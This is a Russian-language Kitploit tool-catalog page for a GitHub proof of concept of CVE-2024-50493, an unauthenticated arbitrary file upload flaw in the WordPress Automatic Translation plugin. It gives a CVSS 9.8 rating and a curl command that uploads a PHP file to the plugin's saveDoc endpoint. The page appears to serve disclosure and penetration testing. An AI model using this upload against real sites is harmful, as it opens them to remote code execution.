Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-50493 — Автоматический перевод <= 1.0.4 - Неаутентифицированная произвольная загрузка файла | Kitploit
Инструменты/GitHubGitHub/randomrobbiebf/cve-2024-50493
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubrandomrobbiebf/cve-2024-50493

CVE-2024-50493

Автоматический перевод <= 1.0.4 - Неаутентифицированная произвольная загрузка файла

Репозиторий
1 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-50493

Automatic Translation <= 1.0.4 — Неавторизованная произвольная загрузка файлов

Описание:

Плагин Automatic Translation для WordPress уязвим к произвольной загрузке файлов из-за отсутствия проверки типа файла во всех версиях до 1.0.4 включительно. Это позволяет неавторизованным злоумышленникам загружать произвольные файлы на сервер уязвимого сайта, что может привести к удаленному выполнению кода.

root@kitploit:~
CVE: CVE-2024-50493
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: automatic-translation

POC

root@kitploit:~
curl -X POST \
  -F "file_name=info.php" \
  -F "file_url=@/tmp/info.php" \
  "http://kubernetes.docker.internal/wp-json/automatic-translator/v1/saveDoc"
Скачать инструмент